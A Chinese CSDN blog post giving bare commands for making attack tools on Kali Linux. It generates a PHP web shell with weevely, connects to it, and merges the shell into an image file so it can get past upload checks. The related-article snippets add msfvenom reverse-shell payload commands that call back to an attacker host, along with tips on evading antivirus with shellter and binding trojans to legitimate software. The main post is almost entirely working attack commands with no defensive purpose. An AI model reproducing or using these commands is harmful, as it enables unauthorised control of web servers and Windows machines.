kali系统中使用weevely创建木马（合并成图片木马）

最新推荐文章于 2024-05-29 22:21:42 发布
最新推荐文章于 2024-05-29 22:21:42 发布
阅读量6.8k 收藏 40
点赞数 3
分类专栏： 网络安全 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_44635376/article/details/113380534
版权

这里写目录标题

weevely：kali中的军刀

创建木马：

weevely generate <password> filename.php

连接木马：

weevely [url] <password>

图片木马

windows环境制作木马之copy命令

copy image.png/b + muma.php picmuma.png

linux环境制作木马之cat命令

cat image.png muma.php > picmumu.png
地球上的星际旅客
关注
  • 3
    点赞
  • 踩
  • 40
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
专栏目录
漏洞复现：使用Kali制作木马程序
m0_51617352的博客
12-15 5882
攻击机：Kali2019 靶机：Win7 64位 攻击步骤： 1.打开Kali2019和Win7 64位虚拟机，确定IP地址在一个网段 2.确定好IP地址，进入Kali2019进行木马文件.exe制作，命令如下 命令：msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '0x00' LHOST=172.16.66.128 LPORT=5555 -f exe >pink.exe .
Kali Linux系统使用基础教程.zip
06-28
Kali Linux系统使用基础教程.zip
weevely生成木马并反向shell连接msf
小刚的博客
05-13 3721
作者：小刚 一位苦于信息安全的萌新小白帽，记得关注给个赞，谢谢 本实验仅用于信息防御教学，切勿用于它用途 weevely实验环境weevely介绍使用流程1，使用weevely生成php木马文件2，将木马文件上传到被攻击web服务器3，使用weevely连接木马文件4，控制参数5，反向shell连接msf总结 今天使用一下kali系统下的中国菜刀weevely，生成木马文件、混淆木马文件控制Web服务器，并进一步反弹shell给metasploit做进一步控制。 实验环境 VM搭建的虚拟测试环境 1.p.
kali制作木马并使用shellter免杀工具来实现更低的查杀率
最新发布
勤能补拙
05-29 896
Shellter 是一款动态 shellcode 注入工具，我们可以将shellcode注入到其它程序上，从而来躲避杀毒软件的查杀。俗称为免杀。
Weevely——PHP木马文件生成
随缘......~|-_-|~
10-08 363
图片马的制作以及菜刀的使用
weixin_33774308的博客
12-05 6219
有些网站我们在拿shell的时候，会要用到上传文件，但是有的时候都会有过滤，如果只是上传.asp .php结尾的文件的话系统是不会给你上传的，那么这个时候我们通常会利用一些其他的思路，比如说iis6中的解析漏洞，把一句话放到图片里面，写成1.asp;.jpg 1.asp;.jpg的格式上传上去，这样上传的时候文件会被检测为是图片，上传成功之后会将这个文件当asp来解析 图片马是WEB渗透测...
制作图片马
课嗨教育的专栏
06-13 260
windows cmd - copy /b 1.jpg+1.php 666.jpg 内容按顺序合并，比如： linux
kali木马 简易木马制作与应用
胡乱写点什么
06-24 4832
Kali——木马（一） 学习web渗透过程中的心得体会以及知识点的整理，方便我自己查找，也希望可以和大家一起交流。 —— 简易木马制作与应用 —— 一.流程 首先确定靶机和攻击主机可以连通 利用msfvenom创建木马程序 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '0x00' LHOST=xxx.xxx.xxx.xxx(攻击主机的ip) LPORT=xxx(攻击主机的端口) -f exe >p
Kali Linux系统使用基础教程.pdf
11-29
Kali Linux是基于Debian的Linux发行版， 设计用于数字取证操作系统。由Offensive Security Ltd维护和资助。最先由Offensive Security的Mati Aharoni和Devon Kearns通过重写BackTrack来完成，BackTrack是他们之前写的...
kali系统-工具-中文手册-html版
07-15
NMAP使用原始IP包以新颖的方式来确定哪些主机是在网络上可用，这些主机正在提供什么样的服务（应用程序的名称和版本），什么操作系统（和OS版本），它们都在运行，什么类型的分组过滤器/防火墙在使用中，和许多其他...
kali中文指南，操作系统 Linux，学习，软件
12-15
kali中文指南，操作系统。Linuxkali中文指南，操作系统。Linuxkali中文指南，操作系统。Linuxkali中文指南，操作系统。Linuxkali中文指南，操作系统。Linuxkali中文指南，操作系统。Linuxkali中文指南，操作系统。...
使用weevely获取系统内容.docx
11-30
在本文档中，我们将详细介绍如何使用 Weevely 获取系统内容，包括实验准备、实验过程、渗透后 OWASP 系统应用等。 实验准备 在开始实验之前，需要准备两个虚拟机：Kali Linux 和 OWASP。Kali Linux 是一个基于 ...
kali使用msf简单制作木马
热门推荐
m0_53820621的博客
11-15 1万+
命令: 废话不多说，直接上命令： msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.10.166 lport=4444 -f exe -o /root/csdn.exe 命令分解： msfvenom #使用msf中msfvenom模块 -a #指定架构（x86指32位，x64为64位，建议x86，因为x64兼容x86，在不知道目标机架构的情况下x86更为合适） -p #指定p
图片木马制作方法详细教程
爱吃仡坨的Blog
10-24 9353
将写的木马插入到图片中，之后配合解析漏洞.htaccess等，对图片马进行解析，从而执行图片中的恶意代码；# 因此 服务器是对文件后缀来对文件进行解析的，所以我们可以通过修改文件后缀来对图片进行访问。此时生成的是图片文件，我们将后缀改为zip时，任然可以读取压缩包文件中的内容。先将一张图片放到PS中，之后点击左上角文件——>文件简介。通过十六进制编辑器，将一句话木马写入图片中。通过图片隐藏信息，是一个合成的过程。最后将带有一句话木马的图片导出。图片越小的文件，制作工艺越纯良。把压缩包放到图片中，进行合成。
靶机测试，kali生成windows木马程序
2301_76361674的博客
05-03 1097
仅用于靶机测试！永恒之蓝：通过系统已有漏洞进行攻击，获得后门权限木马：通过将后门放到靶机上，获得权限。
【记录】kali制作绕过火绒检测的木马（仅通过MSF的方式）
jennycisp的博客
12-26 2316
apt-get update报错关于kali2019.4的更新源 （任意选择其中一组就可用，我选的清华源）#清华大学#阿里云#中科大#浙大最后最后，上面安装的虚拟机在 apt-get update 之后的 apt-get upgrade报错，原因找了很久，发现可能是因为kali版本和VMware版本相差太远以至于update的包安装覆盖之类的问题导致报错。-----然后我重新下载了iso镜像，kali2021.4版本。结果upgrade还是有问题，甚至还upgrade之后莫名其妙连不上网络。
使用kali制作母马
weixin_43326436的博客
04-24 259
攻击机：kali2019 靶机：win764 步骤： 1.开启两个虚拟机 2.制作母马 命令： msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘0x00’ LHOST=kali的IP LPORT=4444（端口随便写） -f exe >goji.exe（exe名字可以自己命名） 这时在主文件夹里面可以看见制作好的goji.exe母马程序 3.在kali里面开启监听 启动msf：命令：msfconsol
kali制作绕过火绒检测的木马（仅通过MSF的方式）
qq_50854662的博客
02-14 3279
kali制作绕过火绒检测的木马（仅通过MSF的方式）
【kali】生成木马并绑定正常软件实现远控
qq_20410657的博客
10-20 810
如果没有则需要进行安装。
如何使用kali的msf制作木马
06-10
我很抱歉，我不能回答如何使用Kali的Metasploit Framework（MSF）制作木马的问题，因为这涉及到违法和不道德的行为。MSF是一个用于漏洞测试和渗透测试的工具，但其目的是帮助安全专业人员和网络管理员保护网络安全，而不是破坏网络安全。在任何情况下，不要试图使用Kali或任何其他工具来制作或传播恶意软件，否则你可能会面临法律责任。请遵守相关法规和道德规范，使用工具来促进网络安全。
评论 3
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值